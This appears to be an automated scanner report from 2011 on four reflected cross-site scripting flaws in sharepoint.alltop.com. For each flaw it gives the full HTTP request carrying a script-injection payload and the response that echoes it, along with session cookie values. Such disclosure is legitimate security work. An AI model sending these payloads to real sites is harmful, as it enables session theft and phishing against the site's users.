XSS, sharepoint,alltop.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Mar 09 13:00:56 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://sharepoint.alltop.com/ [name of an arbitrarily supplied request parameter]

1.2. http://sharepoint.alltop.com/css/din-bold.swf [REST URL parameter 1]

1.3. http://sharepoint.alltop.com/css/din-bold.swf [REST URL parameter 2]

1.4. http://sharepoint.alltop.com/favicon.ico [REST URL parameter 1]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://sharepoint.alltop.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.alltop.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1917"><script>alert(1)</script>f36c2f100f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?b1917"><script>alert(1)</script>f36c2f100f8=1 HTTP/1.1
Host: sharepoint.alltop.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 20:43:30 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: EPClientLogin=7ec7288512668ca75b58f5b1befbab70; expires=Mon, 08-Mar-2010 20:43:30 GMT; path=/; domain=.alltop.com
Set-Cookie: myAlltopSession=gdcc8mr2i6anfj70boh09prqm0; path=/; domain=.alltop.com
Expires: Tue, 08 Mar 2011 21:43:30 GMT
Cache-Control: private, max-age=10800, pre-check=10800
Last-Modified: Mon, 15 Nov 2010 16:29:58 GMT
Set-Cookie: alltop_v=151a39200e8ce4fa0dda00367bdbe085; expires=Fri, 05-Mar-2021 20:43:30 GMT; path=/; domain=sharepoint.alltop.com
Set-Cookie: alltop_r=159; expires=Mon, 06-Jun-2011 20:43:30 GMT; path=/; domain=.alltop.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 249024

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<form action="/?b1917"><script>alert(1)</script>f36c2f100f8=1" method="post" accept-charset="utf-8">
...[SNIP]...

1.2. http://sharepoint.alltop.com/css/din-bold.swf [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.alltop.com
Path:   /css/din-bold.swf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3aa9a"><script>alert(1)</script>11f188b80e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css3aa9a"><script>alert(1)</script>11f188b80e0/din-bold.swf HTTP/1.1
Host: sharepoint.alltop.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; alltop_v=6759b10752dbbe66e1a60326bda6ac2b; alltop_r=159; sifrFetch=true; __utmz=160012002.1299617018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160012002.1234645092.1299617018.1299617018.1299617018.1; __utmc=160012002; __utmb=160012002.2.9.1299617018356; __qca=P0-414054026-1299617018360; __qseg=Q_D|Q_T|Q_2891|Q_2782|Q_2781|Q_2369|Q_2361|Q_2360|Q_2359|Q_2358|Q_2357|Q_2356|Q_2342|Q_1213|Q_1153|Q_1152|Q_1151|Q_1150|Q_1145|Q_1144|Q_982; __csref=; __cst=55b31d41f349b318; __csv=62b61914aa0d8829; __csnv=e41c05f363497f5c; __ctl=62b61914aa0d88291

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 20:44:21 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: EPClientLogin=7ec7288512668ca75b58f5b1befbab70; expires=Mon, 08-Mar-2010 20:44:21 GMT; path=/; domain=.alltop.com
Set-Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; path=/; domain=.alltop.com
Expires: Tue, 08 Mar 2011 21:44:21 GMT
Cache-Control: private, max-age=10800, pre-check=10800
Last-Modified: Mon, 15 Nov 2010 16:29:58 GMT
Set-Cookie: alltop_r=159; expires=Mon, 06-Jun-2011 20:44:21 GMT; path=/; domain=.alltop.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 248985

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<form action="/css3aa9a"><script>alert(1)</script>11f188b80e0/din-bold.swf" method="post" accept-charset="utf-8">
...[SNIP]...

1.3. http://sharepoint.alltop.com/css/din-bold.swf [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.alltop.com
Path:   /css/din-bold.swf

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4986"><script>alert(1)</script>7c56ce117ce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css/din-bold.swfc4986"><script>alert(1)</script>7c56ce117ce HTTP/1.1
Host: sharepoint.alltop.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; alltop_v=6759b10752dbbe66e1a60326bda6ac2b; alltop_r=159; sifrFetch=true; __utmz=160012002.1299617018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160012002.1234645092.1299617018.1299617018.1299617018.1; __utmc=160012002; __utmb=160012002.2.9.1299617018356; __qca=P0-414054026-1299617018360; __qseg=Q_D|Q_T|Q_2891|Q_2782|Q_2781|Q_2369|Q_2361|Q_2360|Q_2359|Q_2358|Q_2357|Q_2356|Q_2342|Q_1213|Q_1153|Q_1152|Q_1151|Q_1150|Q_1145|Q_1144|Q_982; __csref=; __cst=55b31d41f349b318; __csv=62b61914aa0d8829; __csnv=e41c05f363497f5c; __ctl=62b61914aa0d88291

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 20:44:23 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: EPClientLogin=7ec7288512668ca75b58f5b1befbab70; expires=Mon, 08-Mar-2010 20:44:23 GMT; path=/; domain=.alltop.com
Set-Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; path=/; domain=.alltop.com
Expires: Tue, 08 Mar 2011 21:44:23 GMT
Cache-Control: private, max-age=10800, pre-check=10800
Last-Modified: Mon, 15 Nov 2010 16:29:58 GMT
Set-Cookie: alltop_r=159; expires=Mon, 06-Jun-2011 20:44:23 GMT; path=/; domain=.alltop.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 248985

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<form action="/css/din-bold.swfc4986"><script>alert(1)</script>7c56ce117ce" method="post" accept-charset="utf-8">
...[SNIP]...

1.4. http://sharepoint.alltop.com/favicon.ico [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.alltop.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6c4d"><script>alert(1)</script>365c9a34273 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoa6c4d"><script>alert(1)</script>365c9a34273 HTTP/1.1
Host: sharepoint.alltop.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; alltop_v=6759b10752dbbe66e1a60326bda6ac2b; alltop_r=159; sifrFetch=true; __utmz=160012002.1299617018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160012002.1234645092.1299617018.1299617018.1299617018.1; __utmc=160012002; __utmb=160012002.2.9.1299617018356; __qca=P0-414054026-1299617018360; __qseg=Q_D|Q_T|Q_2891|Q_2782|Q_2781|Q_2369|Q_2361|Q_2360|Q_2359|Q_2358|Q_2357|Q_2356|Q_2342|Q_1213|Q_1153|Q_1152|Q_1151|Q_1150|Q_1145|Q_1144|Q_982; __csref=; __cst=55b31d41f349b318; __csv=62b61914aa0d8829; __csnv=e41c05f363497f5c; __ctl=62b61914aa0d88291

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 20:44:17 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: EPClientLogin=7ec7288512668ca75b58f5b1befbab70; expires=Mon, 08-Mar-2010 20:44:17 GMT; path=/; domain=.alltop.com
Set-Cookie: myAlltopSession=i4a5ogk64978pgcjhn10qfejb6; path=/; domain=.alltop.com
Expires: Tue, 08 Mar 2011 21:44:17 GMT
Cache-Control: private, max-age=10800, pre-check=10800
Last-Modified: Mon, 15 Nov 2010 16:29:58 GMT
Set-Cookie: alltop_r=159; expires=Mon, 06-Jun-2011 20:44:17 GMT; path=/; domain=.alltop.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 248965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<form action="/favicon.icoa6c4d"><script>alert(1)</script>365c9a34273" method="post" accept-charset="utf-8">
...[SNIP]...

Report generated by XSS.CX at Wed Mar 09 13:00:56 CST 2011.